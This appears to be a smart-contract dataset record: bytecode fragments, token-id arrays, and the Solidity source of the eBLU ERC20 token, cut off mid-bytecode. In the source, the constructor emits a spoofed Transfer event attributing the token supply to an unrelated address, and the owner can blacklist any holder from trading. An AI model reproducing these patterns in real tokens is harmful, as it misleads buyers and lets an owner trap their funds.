00000000008152600401808060200182810382526023815260200180610fab6023913960400191505060405180910390fd5b610d2381604051806060016040528060268152602001610ff0602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610db6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ed4578082015181840152602081019050610eb9565b50505050905090810190601f168015610f015780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015610fa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820d3483a1fa360991a1993a7e1251e0d4c1bbdd89003aacc44feea41e8f17af66b64736f6c63430005110032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 26187, 2094, 2581, 2683, 2546, 2487, 27717, 24096, 2575, 2497, 28311, 2549, 2050, 2575, 24594, 20842, 2063, 17134, 3540, 2620, 7875, 2692, 2549, 20952, 14141, 16068, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3815, 1007, 6327, 5651, 1006, 22017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,198
0x965d81aab6d465b0ed2c002388414d4f7f14f20c
/* The Blu's are gentle giants who harness elemental energy. They have a fantastic ability to communicate with any humans who hodl $eBLU. Website: http://eblu.netlify.app Twitter: https://twitter.com/BluEthereum Telegram: https://t.me/EthereumBlu SPDX-License-Identifier: MIT */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract eBLU is Context, IERC20, Ownable { string private constant _name = "Ethereum Blu"; string private constant _symbol = "eBLU"; uint8 private constant _decimals = 9; using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 7; _teamFee = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 7; _teamFee = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 6.96e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d39565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061287f565b61045e565b6040516101789190612d1e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ebb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612830565b61048d565b6040516101e09190612d1e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127a2565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f30565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906128fc565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127a2565b610783565b6040516102b19190612ebb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612c50565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d39565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061287f565b61098d565b60405161035b9190612d1e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128bb565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061294e565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f4565b61121a565b6040516104189190612ebb565b60405180910390f35b60606040518060400160405280600c81526020017f457468657265756d20426c750000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016135cb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e1b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e1b565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bfc565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e1b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f65424c5500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e1b565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906131d1565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611c6a565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612e1b565b60405180910390fd5b601060149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612e9b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906127cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906127cb565b6040518363ffffffff1660e01b8152600401610e1f929190612c6b565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906127cb565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612cbd565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612977565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550676096e31fd4b800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612c94565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612925565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612e1b565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ddb565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611f6490919063ffffffff16565b611fdf90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161120f9190612ebb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612e7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612d9b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ebb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612d5b565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612e3b565b60405180910390fd5b6007600a819055506008600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601060179054906101000a900460ff165b15611898576011548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612ff1565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506008600b819055505b60006119ba30610783565b9050601060159054906101000a900460ff16158015611a275750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601060169054906101000a900460ff165b15611a6757611a4d81611c6a565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b2684848484612029565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612d39565b60405180910390fd5b5060008385611b8391906130d2565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bf8573d6000803e3d6000fd5b5050565b6000600854821115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a90612d7b565b60405180910390fd5b6000611c4d612056565b9050611c628184611fdf90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611cc8577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611cf65781602001602082028036833780820191505090505b5090503081600081518110611d34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dd657600080fd5b505afa158015611dea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0e91906127cb565b81600181518110611e48577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eaf30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f13959493929190612ed6565b600060405180830381600087803b158015611f2d57600080fd5b505af1158015611f41573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b600080831415611f775760009050611fd9565b60008284611f859190613078565b9050828482611f949190613047565b14611fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fcb90612dfb565b60405180910390fd5b809150505b92915050565b600061202183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612081565b905092915050565b80612037576120366120e4565b5b612042848484612127565b806120505761204f6122f2565b5b50505050565b6000806000612063612306565b9150915061207a8183611fdf90919063ffffffff16565b9250505090565b600080831182906120c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bf9190612d39565b60405180910390fd5b50600083856120d79190613047565b9050809150509392505050565b6000600a541480156120f857506000600b54145b1561210257612125565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213987612368565b95509550955095509550955061219786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff